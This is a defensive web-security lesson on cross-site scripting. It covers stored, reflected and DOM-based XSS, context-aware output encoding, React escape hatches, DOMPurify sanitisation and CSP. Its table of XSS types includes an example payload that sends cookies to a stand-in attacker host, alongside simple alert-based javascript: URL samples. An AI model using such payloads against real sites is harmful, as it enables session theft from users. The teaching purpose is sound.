Lesson 261 of 296
Cross-site scripting (XSS)
What you will learn
- What XSS is and why it is so damaging
- Stored, reflected and DOM-based XSS
- Output encoding by context
- How React protects you, and where it does not
- Sanitising HTML that must be allowed
- Content Security Policy as a second layer
On this page
What is XSS?
Cross-site scripting (XSS) happens when an attacker gets their JavaScript to run in other users' browsers on your site. Because the script runs as your site, it can:
- Read anything on the page and make requests as the logged-in user (change their email, transfer money, read messages).
- Steal tokens kept in
localStorage(Lesson 200) and session cookies that are notHttpOnly. - Change the page to show a fake login form (phishing on your real domain).
- Log keystrokes.
The OWASP Top 10 2025 counts XSS under Injection (A05): it is the most frequent kind.
The three types
| Type | How the script gets in | Example |
|---|---|---|
| Stored | Saved in the database and shown to other users | A comment containing <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)"> displayed to every visitor |
| Reflected | Sent in a URL and immediately echoed in the response | https://shop.example/search?q=<script>...</script>, emailed to a victim |
| DOM-based | Front-end JavaScript writes untrusted data into the page | el.innerHTML = location.hash.slice(1) |
Output encoding
The core defence: when putting untrusted data into a page, encode it for the context, so the browser treats it as text, never as markup or code.
export function escapeHtml(value: string): string {
return value
.replaceAll("&", "&")
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll('"', """)
.replaceAll("'", "'");
}escapeHtml('<img src=x onerror="alert(1)">') gives <img src=x onerror="alert(1)">, which the browser displays as the literal text instead of creating an image element. In a test using a simulated browser (jsdom), inserting the raw string into the page created an <img> element with an onerror attribute; inserting the escaped string created no element, only text.
The ampersand must be replaced first, otherwise the & in the newly added < would itself be encoded again.
Context matters:
| Context | Defence |
|---|---|
| HTML text | HTML entity encoding (above) |
| HTML attribute | Encode and always quote attribute values |
URL in href / src | Allow only https: (and mailto: if needed): javascript:alert(1) is a valid URL that runs code. Encode query values with encodeURIComponent |
Inside <script> or event handlers | Do not put untrusted data there; pass data with JSON.stringify into a data- attribute or a JSON script tag, safely encoded |
| CSS | Do not put untrusted data in styles |
React and other frameworks
React escapes everything rendered with { } by default (Lesson 158), so <p>{comment}</p> is safe. XSS in React apps comes from the escape hatches:
| Risk | Why |
|---|---|
dangerouslySetInnerHTML={{ __html: userHtml }} | Inserts raw HTML |
<a href={userUrl}> | javascript: URLs run code when clicked. Validate the protocol |
ref.current.innerHTML = ..., document.write, eval, new Function, setTimeout("string") | Raw DOM and code execution |
Server-side rendering of JSON into a <script> tag without escaping </script> and < | Breaks out of the script tag |
| Third-party scripts and Markdown renderers configured to allow HTML | Untrusted HTML enters the page |
Vue (v-html), Angular (bypassSecurityTrust...) and templating engines ({{{ }}} in Handlebars, |safe in Jinja) have equivalent escape hatches.
Safe DOM APIs: use textContent (not innerHTML) and setAttribute with validated values (Lesson 87).
When HTML must be allowed
Rich-text editors, Markdown and email previews need some HTML. Then sanitise with a well-maintained library, DOMPurify, which parses the HTML and removes scripts, event handlers and dangerous URLs while keeping safe formatting:
import DOMPurify from "dompurify";
import { JSDOM } from "jsdom";
const purify = DOMPurify(new JSDOM("").window);
export function sanitiseComment(html: string): string {
return purify.sanitize(html, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li", "br", "code"],
ALLOWED_ATTR: ["href"]
});
}Tested: <p onclick="steal()">Hi <b>there</b></p><script>alert(1)</script><a href="javascript:alert(1)">x</a> became <p>Hi <b>there</b></p><a>x</a>: the script, the event handler and the javascript: link were removed while safe formatting stayed. In the browser, DOMPurify works directly with window. Never write your own HTML sanitiser with regular expressions.
Defence in depth
- Content Security Policy (Lesson 264): even if an injection slips through, a strict CSP stops inline and unknown scripts from running.
- HttpOnly cookies for sessions (Lesson 200): scripts cannot read them.
- Validate input (Lesson 264), but remember that encoding on output is the real XSS fix, because the same data may be safe in one context and dangerous in another.
- Trusted Types (a browser feature enabled through CSP) can make dangerous DOM sinks like
innerHTMLrefuse plain strings.
How to say it in an interview
"XSS is attacker JavaScript running in other users' browsers on our origin, so it can act as the user, read the page and steal tokens. It can be stored, reflected or DOM-based. The main defence is context-aware output encoding, so data is shown as text; React escapes by default, so the risks are dangerouslySetInnerHTML, javascript: URLs in href, innerHTML and eval-like APIs. When HTML must be allowed I sanitise it with DOMPurify and an allow-list of tags. As further layers I use a strict Content Security Policy, HttpOnly cookies and Trusted Types."
Key words
| Word | Meaning |
|---|---|
| XSS | Attacker script running in your site's pages |
| Stored / reflected / DOM-based XSS | Saved in data / echoed from a request / created by front-end code |
| Output encoding | Converting characters so they display as text |
| Sanitisation | Removing dangerous parts of HTML while keeping safe parts |
| DOMPurify | A widely used HTML sanitiser |
| javascript: URL | A URL that runs code when followed |
Now prove it
This lesson is complete when you pass the quiz and all three practice levels.